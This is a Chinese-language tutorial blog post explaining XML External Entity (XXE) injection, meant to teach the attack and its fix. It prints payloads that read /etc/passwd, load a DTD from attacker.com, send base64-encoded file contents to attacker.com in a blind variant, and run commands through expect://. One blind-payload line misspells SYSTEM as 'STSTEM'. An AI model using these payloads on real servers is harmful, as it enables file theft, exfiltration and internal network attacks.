对XML外部实体注入(XXE)的一点总结

本文基于署名-非商业性使用 4.0 国际 (CC BY-NC 4.0)发布,转载请注明出处。

XXE攻击是针对服务端XML解析器的一种攻击方式。

当服务器解析用户提交的XML文档并且XML解析器未对外部实体做过滤的话就会产生XXE的漏洞。只要被服务端解析的XML是可以被用户控制的,那么都应该注意XXE带来的风险,常见的应用场景包括Office文档(OOXML)预览、Markdown编辑器、XML文件导入等等

一个最简单的xml文档大概长这样..

<?xml version="1.0"?>  
<foo>  
  <bar>
   <name>Just a demo.</name>
  </bar>
</foo>  

最简单的xxe

一个最简单的XXE攻击的payload大概长这样:

<?xml version="1.0"?>  
<!DOCTYPE aaaaaaa[<!ENTITY xxe SYSTEM "file:///etc/passwd">]>  
<foo>  
  <bar>
   <name>Just a demo.&xxe;</name>
  </bar>
</foo>  

下面来一行一行分析

<!DOCTYPE aaaa[<!ENTITY xxe SYSTEM "file:///etc/passwd">]>

上面这一行是声明了一个名字叫"xxe"的外部实体,外部实体的内容是/etc/passwd文件的内容,这种声明方式叫内部声明DTD的形式,对实体元素的声明在[]之间。然后

<name>Just a demo.&xxe;</name>

这一行引用名字叫xxe的实体,把实体的值加到demo.后面解析出来。

引用外部DTD声明

还有一种声明方式叫引用外部的DTD,比如可以把上面的

<!ENTITY xxe SYSTEM "file:///etc/passwd">

单独拿出来放在攻击者的服务器上,比如像下面这样从外部DTD引入实体

<!DOCTYPE aaaaaaa[<!ENTITY xxe SYSTEM "http://attacker.com/evil.dtd">]>

evil.dtd的文件内容可以是

<!ENTITY xxe SYSTEM "file:///etc/passwd">

最终的效果和一开始的那种是一样的

这里要多一句嘴,外部DTD除了用SYSTEM关键字引入之外还可以使用PUBLIC关键字引入。所以有些姿势水平不够高的程序员以为过滤了SYSTEM关键字就万事大吉了...你们啊...naive

Blind XXE

如果服务器不给出XML解析结果的回显呢?

也好办,那就把外部实体的值通过一些骚操作发到攻击者的服务器上呗。

这里需要用到一个叫做参数实体的东西,参数实体和其他实体有一点不同,它只能在<!DOCTYPE ANYTHING[这里]>被引用

payload的格式大概像这样:

<!DOCTYPE ANYTHING[
 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
 <!ENTITY % foo "<!ENTITY &#x25; send STSTEM 'http://attacker.com/?file=%file;'>">
 %foo;
 %send;
]>

这里有几点要注意,双引号里的那个%必须要编码成&#x25;不然会出错的..

命令执行

这个对服务端环境有要求,服务端XML解析器必须是php写的并且要安装expect://扩展(默认没装),如果运气很好遇到了这种的话..在定义外部实体的时候

<!ENTITY xxe SYSTEM "expect://who">

这样定义就好

总结

XXE如果用的好大概可以用来:

  1. 任意文件读取

  2. 命令执行(看脸)

  3. SSRF(探测/攻击内网)

  4. 发挥你的想象力_(:3」∠)_

实例

出现过XXE漏洞的网站

国内:网易邮箱、天翼云

国外:paypal、facebook

等等

开源的例子暂时没找到啥...Github上倒是有几个demo

修复方案

禁用或过滤外部实体

参考资料

TSRC

点击右边的按钮加载评论,如果无法加载那估计是被墙啦..你看着办w